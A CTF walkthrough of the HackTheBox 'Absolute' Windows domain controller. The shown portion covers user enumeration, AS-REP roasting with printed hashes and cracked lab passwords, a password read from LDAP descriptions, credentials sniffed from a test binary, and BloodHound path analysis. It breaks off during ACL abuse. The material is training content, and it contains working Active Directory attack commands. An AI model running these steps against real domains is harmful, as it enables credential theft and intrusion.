Absolute - HackTheBox (Insane)
Summary
Absolute from Hack The Box was initially rated as a ‘hard’ rated Windows box, later upgraded to ‘insane’ difficulty after HTB realised how complex it was. The box centers heavily around Kerberos
exploitation using PKINIT
within a hardened domain and included a really nice touch on the Protected Users
group within Active Directory. Very rarely do I attempt an insane machine as I don’t think they’re worthwhile in the most part but this one was definitely worth doing, dare I say it - a masterpiece. I especially enjoyed how this box forced me read through plenty of tool documentation, use both Kali and Windows VMs, and how some of the concepts taught ‘absolutely’ melted my brain (yes pun intended!). What made this box particularly challenging was finding offensive tooling that worked with Kerberos authentication remotely (as NTLM
is disabled and we don’t get a shell on the box until laterally moving through 4 users). For this reason exploiting this box uses crackmapexec
and impacket
scripts extensively, and there were some very smart people who improved open-source tools that made this box a lot easier - looking at you bloodhound-python
- which is awesome to see!
The box revolves around extracting usernames from image metadata on a website, AS-REProasting
one of these users, finding an additional password in a user description field, debugging a nim exe
found on a SMB share with Wireshark
to discover plaintext LDAP credentials, exploiting a complex ACL
chain to add Shadow Credentials by writing to the msDS-KeyCredentialLink
of a user to login using PKINIT
via WinRM
, relaying Kerberos over LDAP to add Shadow Credentials to the DC$
, using PKINIT
to obtain a TGT
and finally performing a DCSync
to extract the Administrator’s NTLM
hash.
Initial recon
Port scanning
Running an nmap scan with default scripts -sC
and versioning -sV
shows us this box represents a domain controller, dc.absolute.htb
, due to ports 53
(DNS) , 88
(Kerberos) and 389,636,3268,3269
(LDAP/LDAPS) being open.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ nmap -sCV -p- 10.10.11.181 -T4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-20 09:05 EST
Nmap scan report for 10.10.11.181
Host is up (0.034s latency).
Not shown: 65508 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Absolute
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-20 21:05:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-02-20T21:06:47+00:00; +7h00m02s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-02-20T21:06:48+00:00; +7h00m02s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-02-20T21:06:47+00:00; +7h00m02s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-02-20T21:06:48+00:00; +7h00m02s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after: 2023-06-09T08:14:24
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
56812/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-02-20T21:06:40
|_ start_date: N/A
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m01s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.68 seconds
With so many ports open on domain controllers, there’s a huge number of potential routes we could try and anonymously enumerate - e.g. LDAP, RPC, SMB. However, what’s most interesting is this domain controller is strangely running an IIS
website on port 80
…
Anyhow, after updating our /etc/hosts
entry with the corresponding DNS names we can view the site.
1
10.10.11.181 absolute.htb dc.absolute.htb
Extracting image metadata from the website
The web page seems static with no interactive features on it to analyse apart from a changing background image every few seconds. Upon inspecting how this works by viewing the source code, we see the website background is using javascript to rotate through 6 images named hero_x.jpg
where x
is numbers 1-6
. Images normally contain metadata about the user who created them, which in our case if not stripped of metadata could potentially give us some usernames to utilise.
To check for metadata inside the images, lets first download them all in a 1 line script:
1
2
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ for x in $(seq 1 6); wget http://absolute.htb/images/hero_$x.jpg
And we can see them all nicely in our directory.
To extract all the user metadata check we can use exiftool
in another 1 line script:
1
2
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ for x in $(seq 1 6); exiftool hero_$x.jpg | grep Author | awk -F ": " '{print $2}';
We can see this produced a nice list of names for us to investigate further!
Finding valid usernames
With a list of usernames, a huge range of attack possibilities open in Active Directory. Before we explore these, as we don’t know the username cipher convention for the absolute.htb
domain we can use the awesome username-anarchy tool to generate all username combination possibilities.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ ~/Downloads/username-anarchy/username-anarchy --input-file ./users.txt
james
jamesroberts
james.roberts
jamesrob
jamerobe
jamesr
j.roberts
jroberts
rjames
r.james
robertsj
roberts
roberts.j
roberts.james
jr
...
We can see all the different combinations for each user it quickly generates for us
We can then use ropnop’s Kerbrute tool to enumerate which of these are valid usernames through Kerberos Pre-Authentication. Kerbrute works by sending TGT
requests (AS-REQ
) with no pre-authentication and analysing how the KDC
responds, which can be in one of three ways:
- Response with a
PRINCIPAL UNKNOWN
error - the username does not exist. - Response with a
KRB5KDC_ERR_PREAUTH_REQUIRED
error - we know the username exists. - Response with a
TGT
in anAS-REP
message - we know the user exists and is AS-REP roastable. Part of the AS-REP message is a TGT encrypted with the user’s password, which can be brute forced offline to obtain the users plaintext password, known as AS-REP roasting.
The pre-compiled binaries on the github releases page are lacking some great new features, in particular the automatic AS-REP roasting if a user does not require kerberos pre-authentication, so I decided to compile the tool myself.
1
2
3
4
5
6
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ git clone https://github.com/ropnop/kerbrute; cd kerbrute; make linux; ls dist;
Building for linux amd64...
Building for linux 386...
Done.
kerbrute_linux_386 kerbrute_linux_amd64
After compiling we can use the tool to enumerate any valid usernames:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ ./kerbrute_linux_amd64 userenum -d absolute.htb --dc 10.10.11.181 usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (9cfb81e) - 04/07/23 - Ronnie Flathers @ropnop
2023/04/07 15:56:04 > Using KDC(s):
2023/04/07 15:56:04 > 10.10.11.181:88
2023/04/07 15:56:04 > [+] VALID USERNAME: j.roberts@absolute.htb
2023/04/07 15:56:04 > [+] VALID USERNAME: m.chaffrey@absolute.htb
2023/04/07 15:56:04 > [+] VALID USERNAME: s.osvald@absolute.htb
2023/04/07 15:56:04 > [+] d.klay has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$d.klay@ABSOLUTE.HTB:c353a8f4d5943d3961d81fb8fcb4a96d$eac57d580ca8720147bd428e1c531f7813c95b92900d29bd130273d3ce9596dc7823b519179679b747d1daa34a9127b7ea61d5e0cc8982411e3d5681ee7e77c102a7347502623bce2f4856f72c40f00d9d340b4cf093fb33c7824b751a24c5cb9f78b1da7b20893047af7e6e869fff73ec76ad00e5e16d7de3ab09e86357ecd426bd4280162b99bf2ee626e45db743af7070bcbe531f536fc8686e96266006c8d4b9f0803bba159ea1f09198149d9d45a6adcdcac49e4645b78ddbf3b1f8af8bf1f1105be8fc26d0aad4a74840da68ba5d6aa36d6590b5a2aec4b1d79717872fa3ccd31042c85d4bd9c307bbcd5f225bba1b3c13e02acbb914d23435f6969a4c
2023/04/07 15:56:04 > [+] VALID USERNAME: d.klay@absolute.htb
2023/04/07 15:56:05 > [+] VALID USERNAME: j.robinson@absolute.htb
2023/04/07 15:56:05 > [+] VALID USERNAME: n.smith@absolute.htb
2023/04/07 15:56:05 > Done! Tested 88 usernames (6 valid) in 0.526 seconds
This finds 6
valid usernames, and indicates the username convention is firstletter.surname@absolute.htb
!
First user
AS-REP roasting
More interestingly, Kerbrute
highlighted that the d.klay
user ‘does not require Kerberos preauthentication’, and automatically presented us with a password hash for the user. This option is easy to misconfigure when managing accounts in AD Users and Computers and can easily be enabled accidentally by a company’s service desk who may be unaware of the security ramifications of doing this. As shown below, all it takes it one button click:
As d.klay
has this attribute set, it means when requesting a TGT
from the KDC
, the entire validation process of needing to present a timestamp encrypted with the user’s hashed password to validate that user is authorized to request the TGT
is skipped. This means without even knowing the users password, we can receive an encrypted TGT
for the user in an AS-REP
message. Kerbrute automatically extracts the part of the TGT
encrypted with the d.klay
password hash, and cleverly outputs this part in a nice hash format we can try and crack to obtain the user’s plaintext password!
We can see this AS-REP
captured in Wireshark
when running Kerbrute
.
Alternatively, we could use the brilliant impacket GetNPUsers.py script to check if d.klay
is AS-REP reproastable, which gives us the same output:
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ impacket-GetNPUsers absolute.htb/ -dc-ip 10.10.11.181 -no-pass -usersfile users.txt
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] User j.roberts doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User m.chaffrey doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.osvald doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$d.klay@ABSOLUTE.HTB:27817d765055f3d2430954343f8ba032$520ecc432628b36f216579db7c23ab6d9428b52729f985931400a11c458152aee525fadc34ee19caaf3b1519765f2b864fd2503f4c7fe164c4eb50ba17793da233e4a92b3053b5b5a174d32a7cbe0ea4c19617700bf63fd4144c3fda5264a69157847abb839f99f999e613e2061ffe93203bdcf3e50e651b4b7042ec6940f1cfa9fa30c448e4b1b9bcbf9e28d51e3384f56233d5253bf3d651308218f0c3ef5ef0ac8269f644ce9bfc45333961e28f08288a8948b5d0b081439ead2a9a5d6ee2b47ec6cad986a9fef208f53c4eaf343c61a7bfb85399f9acaf476d107fbeb8220662fb12ba7cfe96cb4bc54d
[-] User j.robinson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User n.smith doesn't have UF_DONT_REQUIRE_PREAUTH set
Equipped with the hash, we can simply copy it into a hash.txt
file and attempt to crack it using john
and rockyou.txt
:
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Darkmoonsky248girl ($krb5asrep$23$d.klay@ABSOLUTE.HTB)
1g 0:00:00:08 DONE (2023-02-20 09:52) 0.1179g/s 1325Kp/s 1325Kc/s 1325KC/s DarrenCahppell..DarkAngelNinjaHaku
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
After a few seconds it cracks, giving us plaintext credentials: d.klay:Darkmoonsky248girl
!
Discovering NTLM is disabled
One common thing we can look for is to see if d.klay
can access any file shares on the domain controller. To do this we can try with crackmapexec
to list SMB shares with our credentials.
1
2
3
4
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ ~/Desktop/cme smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' --shares
SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [-] absolute.htb\d.klay:Darkmoonsky248girl STATUS_ACCOUNT_RESTRICTION
Strangely this returns a STATUS_ACCOUNT_RESTRICTION
error.
We also get the same error when trying to connect to RPC with rpcclient
.
1
2
3
4
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ rpcclient -U absolute.htb/d.klay 10.10.11.181
Password for [ABSOLUTE.HTB\d.klay]:
Cannot connect to server. Error was NT_STATUS_ACCOUNT_RESTRICTION
Researching this error shows this is caused because this user is prevented from signing on using NTLM
, ref here.
If we are prohibited signing in with NTLM
, we could use the more modern Kerberos protocol. Before interacting with Kerberos which uses timestamps as a key part of its protocol, to request a valid TGT
we have to make sure our clock skew is right with the absolute.htb
time server, which we can adjust using ntpdate
.
1
2
3
4
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ sudo ntpdate 10.10.11.181
2023-02-20 17:06:01.898445 (-0500) +25201.575228 +/- 0.013587 10.10.11.181 s1 no-leap
CLOCK: time stepped by 25201.575228
Requesting a TGT
With our credentials we can request a TGT
using impacket’s getTGT.py. This saves our TGT
in a .ccache
file that we can save to the KRBCCNAME
environment variable which holds Kerberos credentials while they remain valid for use on our kali machine. After requesting the TGT
, if we run klist
we can display our cached Kerberos ticket that is valid for 4
hours:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ impacket-getTGT absolute.htb/d.klay:'Darkmoonsky248girl' -dc-ip 10.10.11.181
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in d.klay.ccache
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ export KRB5CCNAME=d.klay.ccache
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ klist
Ticket cache: FILE:d.klay.ccache
Default principal: d.klay@ABSOLUTE.HTB
Valid starting Expires Service principal
03/10/2023 20:10:39 03/11/2023 00:10:39 krbtgt/ABSOLUTE.HTB@ABSOLUTE.HTB
renew until 03/11/2023 00:10:39
This is slightly strange as kerberos tickets are normally valid for 10
hours. We will find out why this is later…
Enumerating SMB with Kerberos
Lets try and see if d.klay
has access to any shares again, this time specifying to use Kerberos authentication with crackmapexec’s -k
option and specifying the FQDN
as present in our TGT
in order to use Kerberos successfully. I had to check the crackmapexec wiki to see how to do this which was awesome as I hadn’t had previously had a poke round this documentation!
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ ~/Desktop/cme smb dc.absolute.htb -u d.klay -p 'Darkmoonsky248girl' --shares -k
SMB dc.absolute.htb 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB dc.absolute.htb 445 DC [+] absolute.htb\d.klay:Darkmoonsky248girl
SMB dc.absolute.htb 445 DC [+] Enumerated shares
SMB dc.absolute.htb 445 DC Share Permissions Remark
SMB dc.absolute.htb 445 DC ----- ----------- ------
SMB dc.absolute.htb 445 DC ADMIN$ Remote Admin
SMB dc.absolute.htb 445 DC C$ Default share
SMB dc.absolute.htb 445 DC IPC$ READ Remote IPC
SMB dc.absolute.htb 445 DC NETLOGON READ Logon server share
SMB dc.absolute.htb 445 DC Shared
SMB dc.absolute.htb 445 DC SYSVOL READ Logon server share
We can see it was successful and we can now list all the shares on the DC!
To summarise the listed shares:
ADMIN$
= default remote admin shareC$
= default remote drive shareIPC$
= default remote IPC share used for communicating via named pipes like authenticating via SMBNETLOGON
= default share on domain controllers to store things like logon scripts and group policy templatesShared
= a non-standard ‘share’. We should note this for checking out laterSYSVOL
= default share on domain controllers to store things like group policy objects (GPOs)
The only non-default share is the Shared
drive which is not readable with our current user so this does’t help us.
Second user
Enumerating users and descriptions
We our TGT
as a valid domain user, we can use this to list all other users in the domain remotely. A nice way to do this is querying over LDAP
with crackmapexec’s --users
, which actually extracts all the user descriptions too!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ ~/Desktop/cme ldap absolute.htb -u d.klay -p 'Darkmoonsky248girl' -k --users
SMB absolute.htb 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
LDAP absolute.htb 389 DC [+] absolute.htb\d.klay:Darkmoonsky248girl
LDAP absolute.htb 389 DC [*] Total of records returned 20
LDAP absolute.htb 389 DC Administrator Built-in account for administering the computer/domain
LDAP absolute.htb 389 DC Guest Built-in account for guest access to the computer/domain
LDAP absolute.htb 389 DC krbtgt Key Distribution Center Service Account
LDAP absolute.htb 389 DC J.Roberts
LDAP absolute.htb 389 DC M.Chaffrey
LDAP absolute.htb 389 DC D.Klay
LDAP absolute.htb 389 DC s.osvald
LDAP absolute.htb 389 DC j.robinson
LDAP absolute.htb 389 DC n.smith
LDAP absolute.htb 389 DC m.lovegod
LDAP absolute.htb 389 DC l.moore
LDAP absolute.htb 389 DC c.colt
LDAP absolute.htb 389 DC s.johnson
LDAP absolute.htb 389 DC d.lemm
LDAP absolute.htb 389 DC svc_smb AbsoluteSMBService123!
LDAP absolute.htb 389 DC svc_audit
LDAP absolute.htb 389 DC winrm_user Used to perform simple network tasks
Looking at this list of domain users we spot a classic administrative error - leaving a password in the description field, which admins too commonly forget is readable by any authenticated user!
If we wanted to do this on a Windows VM instead of using crackmapexec
we could do the same with PowerView
whilst connected to the HTB VPN, first importing the script via dot-sourcing, creating a PSCredential object
then enumerating all users and descriptions:
1
2
3
4
PS C:\Users\jack> . .\PowerView.ps1
PS C:\Users\jack> $SecPassword = ConvertTo-SecureString "Darkmoonsky248girl" -AsPlainText -Force
PS C:\Users\jack> $Cred = New-Object System.Management.Automation.PSCredential("absolute.htb\d.klay", $SecPassword)
PS C:\Users\jack> Get-DomainUser * -Credential $Cred -Server absolute.htb | Select-Object samaccountname,description
Now we have new credentials for an smb service user! svc_smb:AbsoluteSMBService123!
Requesting a TGT
Similarly to before, we can request a TGT
for svc_smb
and save to the KRBCCNAME
environment variable, and running klist
we can see our new cached Kerberos ticket, again valid for 4
hours.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ impacket-getTGT absolute.htb/svc_smb:'AbsoluteSMBService123!' -dc-ip 10.10.11.181
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in svc_smb.ccache
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ export KRB5CCNAME=svc_smb.ccache
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ klist
Ticket cache: FILE:svc_smb.ccache
Default principal: svc_smb@ABSOLUTE.HTB
Valid starting Expires Service principal
03/13/2023 14:02:44 03/13/2023 18:02:44 krbtgt/ABSOLUTE.HTB@ABSOLUTE.HTB
renew until 03/13/2023 18:04:44
Enumerating SMB
With a valid ticket as the smb service user, it seems logical we can return to the Shared
smb file share, that maybe we might have access to now?
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ ~/Desktop/cme smb absolute.htb -u svc_smb -p 'AbsoluteSMBService123!' -k --shares
SMB absolute.htb 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB absolute.htb 445 DC [+] absolute.htb\svc_smb:AbsoluteSMBService123!
SMB absolute.htb 445 DC [+] Enumerated shares
SMB absolute.htb 445 DC Share Permissions Remark
SMB absolute.htb 445 DC ----- ----------- ------
SMB absolute.htb 445 DC ADMIN$ Remote Admin
SMB absolute.htb 445 DC C$ Default share
SMB absolute.htb 445 DC IPC$ READ Remote IPC
SMB absolute.htb 445 DC NETLOGON READ Logon server share
SMB absolute.htb 445 DC Shared READ
SMB absolute.htb 445 DC SYSVOL READ Logon server share
Notice how we now have READ
access to the Shared folder!
I would normally use smbclient
to view these shares however I discovered its Kerberos compatibility is deprecated. Thankfully impacket comes to the rescue yet again with its own version with Kerberos support, impacket-smbclient
. Just like all impacket scripts, we can use specify -k
and -no-pass
to authenticate to the share with our ticket.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ impacket-smbclient -k -no-pass dc.absolute.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
Shared
SYSVOL
# use Shared
# ls
drw-rw-rw- 0 Thu Sep 1 13:02:23 2022 .
drw-rw-rw- 0 Thu Sep 1 13:02:23 2022 ..
-rw-rw-rw- 72 Thu Sep 1 13:02:23 2022 compiler.sh
-rw-rw-rw- 67584 Thu Sep 1 13:02:23 2022 test.exe
# get compiler.sh
# get test.exe
# exit
Looking through the share we see two files - compiler.sh
and test.exe
, so we download both of them for analysis.
Third user
Analysing the binary
Compiler.sh
appears to be the script used to compile the test executable via nim
.
1
2
3
4
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ cat compiler.sh
#!/bin/bash
nim c -d:mingw --app:gui --cc:gcc -d:danger -d:strip $1
Test.exe
is a 32-bit executable built with nim
, which is not easily reverse engineered like .NET
executables are with dnSpy.
Before reverse engineering this binary using something like Ghidra
, I copied it over to Windows VM to see if we could debug to ascertain an understanding of what the binary did.
Caution: Running unknown executables is normally not recommended, however my VM is isolated, snapshotted and this is a CTF binary so is not likely to be overly malicious.
I downloaded OpenVPN
connect on my Windows VM from here, and imported our lab OpenVPN
file to connect to the Hack The Box VPN.
However, when running the test.exe
to analyse the behaviour, strangely nothing is observed.
1
2
C:\Users\jack>.\test.exe
C:\Users\jack>
When analysing binaries on previous HTB machines sometimes they make network connections behind what we can see on the GUI. This seams feasible as the binary could be ‘testing’ a network connection. Opening up Wireshark
we can check if the binary is making any network connections behind the scenes.
Editing our host file at C:\Windows\System32\drivers\etc\hosts
is required to resolve absolute.htb
if it does make a network connection:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
10.10.11.181 absolute.htb dc.absolute.htb
Then running test.exe
again we see some interesting packets in Wireshark:
1
2
C:\Users\jack>.\test.exe
C:\Users\jack>
We can confirm our suspicion was correct - the binary appears to be testing an LDAP bind (authenticating to the DC via LDAP). On closer inspection of the packets, we can see the LDAP bind was performed unencrypted over the network in clear-text via port 389
rather than encrypted via port 636
(LDAPS), meaning we have now intercepted credentials for another user - m.lovegod:AbsoluteLDAP2022!
!
The reason unencrypted LDAP binds are possible is because no LDAP server signing requirements are enforced within the Default Domain Controllers Policy GPO.
Using bloodhound remotely with Kerberos
With this 3rd set of credentials we still don’t have a way to get on the box as WinRM
access is denied and no more shares can be enumerated. With no clear path ahead, my go-to fallback is to fully enumerate the domain using bloodhound
which I elected to perform remotely on Linux using the python-bloodhound
ingestor based on impacket, bloodhound.py. I found out later this could also be done remotely on Windows by importing our ticket with Rubeus
and using SharpHound
as shown here.
A slight issue arose that because NTLM
authentication is disabled we have to use python-bloodhound
remotely with Kerberos authentication, for which the functionality on the master github branch didn’t seem to work. After doing a bit of digging, it turns out that just after the box was released jazzpizazz
released a fork of python-bloodhound
compatible with Kerberos authentication and could get sweet BloodHound 4.2+ exports! Kudos to him for this awesome addition.
We can first clone the fork from jazz’s github.
1
2
┌──(kali㉿kali)-[~/Desktop/htb/absolute]
└─$ git clone https://github.com/jazzpizazz/BloodHound.py-Kerberos
Lets request a TGT
for this m.love
user and save to the KRBCCNAME
environment variable. Running klist
we can see our new cached Kerberos ticket for 4
hours.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/Desktop/htb/absolute/BloodHound.py-Kerberos]
└─$ impacket-getTGT absolute.htb/m.lovegod:'AbsoluteLDAP2022!' -dc-ip 10.10.11.181
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in m.lovegod.ccache
┌──(kali㉿kali)-[~/Desktop/htb/absolute/BloodHound.py-Kerberos]
└─$ export KRB5CCNAME=m.lovegod.ccache
┌──(kali㉿kali)-[~/Desktop/htb/absolute/BloodHound.py-Kerberos]
└─$ klist
Ticket cache: FILE:m.lovegod.ccache
Default principal: m.lovegod@ABSOLUTE.HTB
Valid starting Expires Service principal
02/20/2023 22:19:25 02/21/2023 02:19:25 krbtgt/ABSOLUTE.HTB@ABSOLUTE.HTB
renew until 02/21/2023 02:19:25
We can then use bloodhound-python
with Kerberos support -k
to enumerate the entire domain and save the output to a .zip
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/Desktop/htb/absolute/BloodHound.py-Kerberos]
└─$ python3 bloodhound.py -u m.lovegod -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 --dns-tcp --zip -no-pass -c All
INFO: Found AD domain: absolute.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc.absolute.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.absolute.htb
INFO: Found 18 users
INFO: Found 55 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.absolute.htb
INFO: Ignoring host dc.absolute.htb since its reported name does not match
INFO: Done in 00M 02S
INFO: Compressing output into 20230220223951_bloodhound.zip
We load up the neo4j
database and start the bloodhound GUI, then import the zip file our bloodhound-python
ingestor produced.
1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/htb/absolute/BloodHound.py-Kerberos]
└─$ sudo neo4j start
┌──(kali㉿kali)-[~/Desktop/htb/absolute/BloodHound.py-Kerberos]
└─$ bloodhound
From analysing the domain in a graphed format, we can see a clear explanation for why all our users had NTLM
authentication disabled with the NT_STATUS_ACCOUNT_RESTRICTION
and only Kerberos authentication worked - all users are a member of the Protected Users
group (apart from Administrator
, Guest
, krbtgt
and DC$
).
This is because the Protected Users
group automatically applies non-configurable protections to minimize credential exposure within the domain:
- Disables
NTLM
authentication - Reduces Kerberos ticket lifetime (explains why our tickets were only valid for
4
hours withklist
) - Mandates strong encryption algorithms, such as
AES
- Prevents password caching on workstations
- Prevents any type of Kerberos delegation
I thought not adding
Administrator
to theProtected Users
group was a really nice touch, as Microsoft recommended not to add all highly privileged accounts to this group (exclude the break glass account) in case these protections end up locking all your privileged accounts out (Reference: here). I’ve seen this in the real world so I thought it made the box very realistic 🙂
Fourth user
Analysing the bloodhound path
In bloodhound, after marking our latest owned user m.lovegod
as owned, we can see an interesting attack path. M.lovegod
owns the Network Audit
group, which has GenericWrite
to the winrm_user
that is a member of the Remote Management Users
group meaning they have permission to remotely login via WinRM
- finally we can see a way to get a shell on the box!
Converting Owns into GenericWrite
Although m.lovegod
‘owns’ the Network Audit
group, this doesn’t mean we are a member of the group yet. As we ‘own’ the group, we can modify all object security descriptors, meaning we can grant ourselves any privilege over the group (GenericAll
) - therefore giving m.lovegod
permission to make themselves a member of this group.
